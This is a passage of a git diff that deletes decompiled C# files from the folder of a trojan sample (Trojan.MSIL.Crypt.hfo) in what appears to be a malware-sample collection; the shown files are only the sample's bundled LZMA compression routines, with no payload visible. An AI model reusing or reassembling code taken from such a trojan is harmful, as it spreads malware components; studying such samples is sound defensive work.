this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 1675d236..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index 82826097..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/InWindow.cs deleted file mode 100644 index e2992bf8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/OutWindow.cs deleted file mode 100644 index 1f2135af..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Base.cs deleted file mode 100644 index a7957363..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Decoder.cs deleted file mode 100644 index 61742f63..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Encoder.cs deleted file mode 100644 index 9d621aaf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new 